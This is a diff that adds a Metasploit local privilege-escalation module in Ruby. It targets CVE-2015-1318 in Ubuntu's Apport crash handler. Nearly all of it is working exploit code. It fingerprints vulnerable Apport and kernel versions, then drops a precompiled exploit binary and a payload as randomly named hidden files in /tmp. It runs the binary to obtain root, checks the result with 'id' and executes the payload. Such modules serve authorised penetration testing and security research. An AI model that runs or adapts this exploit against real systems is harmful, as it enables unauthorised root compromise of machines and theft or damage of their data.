|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Local |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Post::File |
| 10 | + include Msf::Exploit::EXE |
| 11 | + include Msf::Exploit::FileDropper |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Apport chroot Privilege Escalation', |
| 16 | + 'Description' => %q{ |
| 17 | + This module attempts to gain root privileges on Ubuntu by invoking |
| 18 | + the default coredump handler (Apport) inside a namespace ("container"). |
| 19 | +
|
| 20 | + Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are |
| 21 | + vulnerable (CVE-2015-1318), due to a feature which allows forwarding |
| 22 | + reports to a container's Apport, causing usr/share/apport/apport |
| 23 | + within the crashed task's directory to be executed. Apport does not |
| 24 | + not drop privileges, resulting in code execution as root. |
| 25 | +
|
| 26 | + This module has been tested successfully on Apport 2.14.1 |
| 27 | + on Ubuntu 14.04.1 LTS x86 and x86_64. |
| 28 | + }, |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Author' => |
| 31 | + [ |
| 32 | + 'Stéphane Graber', # Independent discovery, PoC and patch |
| 33 | + 'Tavis Ormandy', # Independent discovery and C exploit |
| 34 | + 'Ricardo F. Teixeira', # shell exploit |
| 35 | + 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit |
| 36 | + ], |
| 37 | + 'DisclosureDate' => 'Mar 31 2015', |
| 38 | + 'Platform' => [ 'linux'], |
| 39 | + 'Arch' => [ ARCH_X86, ARCH_X64 ], |
| 40 | + 'SessionTypes' => [ 'shell', 'meterpreter' ], |
| 41 | + 'Targets' => [[ 'Auto', {} ]], |
| 42 | + 'References' => |
| 43 | + [ |
| 44 | + [ 'EDB', '36782' ], |
| 45 | + [ 'EDB', '36746' ], |
| 46 | + [ 'CVE', '2015-1318' ], |
| 47 | + [ 'URL', 'https://usn.ubuntu.com/usn/USN-2569-1/' ], |
| 48 | + [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ], |
| 49 | + [ 'URL', 'https://gist.github.com/taviso/0f02c255c13c5c113406' ], |
| 50 | + [ 'URL', 'https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893' ], |
| 51 | + [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758' ], |
| 52 | + [ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ] |
| 53 | + ] |
| 54 | + )) |
| 55 | + register_options( |
| 56 | + [ |
| 57 | + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) |
| 58 | + ]) |
| 59 | + end |
| 60 | + |
| 61 | + def check |
| 62 | + res = cmd_exec 'apport-cli --version' |
| 63 | + |
| 64 | + if res.blank? |
| 65 | + vprint_error 'Apport is NOT installed' |
| 66 | + return CheckCode::Safe |
| 67 | + end |
| 68 | + |
| 69 | + apport_version = Gem::Version.new res |
| 70 | + |
| 71 | + if apport_version >= Gem::Version.new('2.13') && apport_version < Gem::Version.new('2.17.1') |
| 72 | + vprint_good "Apport version #{apport_version} is vulnerable" |
| 73 | + else |
| 74 | + vprint_error "Apport version #{apport_version} is NOT vulnerable" |
| 75 | + return CheckCode::Safe |
| 76 | + end |
| 77 | + |
| 78 | + os = cmd_exec 'grep ^ID= /etc/os-release' |
| 79 | + |
| 80 | + if os.include? 'ID=ubuntu' |
| 81 | + vprint_good 'Target operating system is Ubuntu' |
| 82 | + else |
| 83 | + vprint_error 'Target operating system is NOT supported' |
| 84 | + return CheckCode::Safe |
| 85 | + end |
| 86 | + |
| 87 | + kernel_version = Gem::Version.new cmd_exec 'uname -r' |
| 88 | + |
| 89 | + if kernel_version >= Gem::Version.new('3.12') |
| 90 | + vprint_good "Linux kernel version #{kernel_version} is vulnerable" |
| 91 | + else |
| 92 | + vprint_error "Linux kernel version #{kernel_version} is NOT vulnerable" |
| 93 | + return CheckCode::Safe |
| 94 | + end |
| 95 | + |
| 96 | + kernel_core_pattern = cmd_exec 'sysctl -a | grep core_pattern' |
| 97 | + |
| 98 | + if kernel_core_pattern.include? 'apport' |
| 99 | + vprint_good 'System is configured to use Apport for crash reporting' |
| 100 | + else |
| 101 | + vprint_error 'System is NOT configured to use Apport for crash reporting' |
| 102 | + return CheckCode::Safe |
| 103 | + end |
| 104 | + |
| 105 | + CheckCode::Vulnerable |
| 106 | + end |
| 107 | + |
| 108 | + def upload_and_chmodx(path, data) |
| 109 | + print_status "Writing '#{path}' (#{data.size} bytes) ..." |
| 110 | + rm_f path |
| 111 | + write_file path, data |
| 112 | + cmd_exec "chmod +x '#{path}'" |
| 113 | + register_file_for_cleanup path |
| 114 | + end |
| 115 | + |
| 116 | + def exploit |
| 117 | + if check != CheckCode::Vulnerable |
| 118 | + fail_with Failure::NotVulnerable, 'Target is not vulnerable' |
| 119 | + end |
| 120 | + |
| 121 | + # Tavis Ormandy's exploit: |
| 122 | + # - https://www.exploit-db.com/exploits/36746/ |
| 123 | + # Compiled on Ubuntu 14.04.1 LTS x86 |
| 124 | + path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid' |
| 125 | + fd = ::File.open path, 'rb' |
| 126 | + executable_data = fd.read fd.stat.size |
| 127 | + fd.close |
| 128 | + |
| 129 | + executable_name = ".#{rand_text_alphanumeric rand(5..10)}" |
| 130 | + executable_path = "#{datastore['WritableDir']}/#{executable_name}" |
| 131 | + upload_and_chmodx executable_path, executable_data |
| 132 | + |
| 133 | + payload_name = ".#{rand_text_alphanumeric rand(5..10)}" |
| 134 | + payload_path = "#{datastore['WritableDir']}/#{payload_name}" |
| 135 | + upload_and_chmodx payload_path, generate_payload_exe |
| 136 | + |
| 137 | + print_status 'Launching exploit...' |
| 138 | + cmd_exec "cd #{datastore['WritableDir']}" |
| 139 | + output = cmd_exec executable_path |
| 140 | + output.each_line { |line| vprint_status line.chomp } |
| 141 | + |
| 142 | + id = cmd_exec 'id' |
| 143 | + unless id.include? 'root' |
| 144 | + fail_with Failure::Unknown, 'Failed to gain root privileges' |
| 145 | + end |
| 146 | + |
| 147 | + print_good "Upgraded session to root privileges ('#{id}')" |
| 148 | + vprint_status 'Executing payload...' |
| 149 | + cmd_exec payload_path |
| 150 | + end |
| 151 | +end |
0 commit comments